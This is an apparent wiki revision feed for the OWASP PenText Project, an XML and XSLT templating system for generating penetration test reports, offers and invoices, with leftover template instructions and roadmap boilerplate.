[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;right&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;25%&amp;quot; | [[File:cc_by.png|link=https://creativecommons.org/licenses/by/4.0/]]&lt;br /&gt;
    | valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	Many projects have &amp;quot;Frequently Asked Questions&amp;quot; documents or pages. However, the point of such a document is not the questions. ''The point of a document like this are the '''answers'''''. The document contains the answers that people would otherwise find themselves giving over and over again. The idea is that rather than laboriously compose and post the same answers repeatedly, people can refer to this page with pre-prepared answers. Use this space to communicate your projects 'Frequent Answers.'&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219162</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=219162"/>
				<updated>2016-07-21T09:55:21Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: /* Project Resources */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
Instructions are in RED text and should be removed from your document by deleting the text with the span tags. This document is intended to serve as an example of what is required of an OWASP project wiki page. The text in red serves as instructions, while the text in black serves as an example. Text in black is expected to be replaced entirely with information specific to your OWASP project.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content can be easily adapted by editing the constants provided in each document. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/templates/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the SAXON XSLT processor. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using Apache FOP.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates Sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/tree/master/xml/doc Documentation]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/templates/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Deborah, Patricia and Peter. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This is where you can link to other OWASP Projects that are similar to yours. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
* [[OWASP_Code_Project_Template]]&lt;br /&gt;
* [[OWASP_Documentation_Project_Template]]&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;right&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;25%&amp;quot; | [[File:cc_by.png|link=https://creativecommons.org/licenses/by/4.0/]]&lt;br /&gt;
    | valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	Many projects have &amp;quot;Frequently Asked Questions&amp;quot; documents or pages. However, the point of such a document is not the questions. ''The point of a document like this are the '''answers'''''. The document contains the answers that people would otherwise find themselves giving over and over again. The idea is that rather than laboriously compose and post the same answers repeatedly, people can refer to this page with pre-prepared answers. Use this space to communicate your projects 'Frequent Answers.'&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for researchers, writers, graphic designers, and a project administrator.   See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	The success of OWASP is due to a community of enthusiasts and contributors that work to make our projects great. This is also true for the success of your project. &lt;br /&gt;
Be sure to give credit where credit is due, no matter how small! This should be a brief list of the most amazing people involved in your project. &lt;br /&gt;
Be sure to provide a link to a complete list of all the amazing people in your project's community as well.&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The OWASP Tool Project Template is developed by a worldwide team of volunteers. A live update of project  [https://github.com/OWASP/Security-Principles/graphs/contributors contributors is found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Clerkendweller Colin Watson] who created the OWASP Cornucopia project that the template was derived from&lt;br /&gt;
* [https://www.owasp.org/index.php/User:Chuck_Cooper Chuck Cooper] who edited the template to convert it from a documentation project to a Tool Project Template&lt;br /&gt;
* '''YOUR NAME BELONGS HERE AND YOU SHOULD REMOVE THE PRIOR 3 NAMES'''&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	A project roadmap is the envisioned plan for the project. The purpose of the roadmap is to help others understand where the project is going as well as areas that volunteers may contribute. It gives the community a chance to understand the context and the vision for the goal of the project. Additionally, if a project becomes inactive, or if the project is abandoned, a roadmap can help ensure a project can be adopted and continued under new leadership.&lt;br /&gt;
	Roadmaps vary in detail from a broad outline to a fully detailed project charter. Generally speaking, projects with detailed roadmaps have tended to develop into successful projects. Some details that leaders may consider placing in the roadmap include: envisioned milestones, planned feature enhancements, essential conditions, project assumptions, development timelines, etc. You are required to have at least 4 milestones for every year the project is active. &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of &amp;lt;strong&amp;gt;November, 2013, the highest priorities for the next 6 months&amp;lt;/strong&amp;gt; are:&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Complete the first draft of the Tool Project Template&lt;br /&gt;
* Get other people to review the Tool Project Template and provide feedback&lt;br /&gt;
* Incorporate feedback into changes in the Tool Project Template&lt;br /&gt;
* Finalize the Tool Project template and have it reviewed to be promoted from an Incubator Project to a Lab Project&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Subsequent Releases will add&lt;br /&gt;
&amp;lt;strong&amp;gt;&lt;br /&gt;
* Internationalization Support&lt;br /&gt;
* Additional Unit Tests&lt;br /&gt;
* Automated Regression tests&lt;br /&gt;
&amp;lt;/strong&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
We could implement some of the later items on the roadmap sooner if someone wanted to help out with unit or automated regression tests&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the text strings in the &amp;lt;strong&amp;gt;Tool Project Template&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please use the [https://lists.owasp.org/mailman/listinfo/OWASP_Tool_Project_Template Tool Project Template project mailing list] for feedback about:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Minimum Viable Product=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
This page is where you should indicate what is the minimum set of functionality that is required to make this a useful product that addresses your core security concern.&lt;br /&gt;
Defining this information helps the project leader to think about what is the critical functionality that a user needs for this project to be useful, thereby helping determine what the priorities should be on the roadmap.  And it also helps reviewers who are evaluating the project to determine if the functionality sufficiently provides the critical functionality to determine if the project should be promoted to the next project category.  &lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Tool Project Template must specify the minimum set of tabs a project should have, provide some an example layout on each tab, provide instructional text on how a project leader should modify the tab, and give some example text that illustrates how to create an actual project.&lt;br /&gt;
&lt;br /&gt;
It would also be ideal if the sample text was translated into different languages.&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&amp;lt;!-- Instructions are in RED and should be removed from your document by deleting the text with the span tags.--&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#ff0000&amp;quot;&amp;gt;&lt;br /&gt;
	This page is where you need to place your legacy project template page if your project was created before October 2013. To edit this page you will need to edit your project information template. You can typically find this page by following this address and substituting your project name where it says &amp;quot;OWASP_Example_Project&amp;quot;. When in doubt, ask the OWASP Projects Manager. &lt;br /&gt;
Example template page: https://www.owasp.org/index.php/Projects/OWASP_Example_Project&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{:Projects/OWASP_Example_Project_About_Page}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	</feed>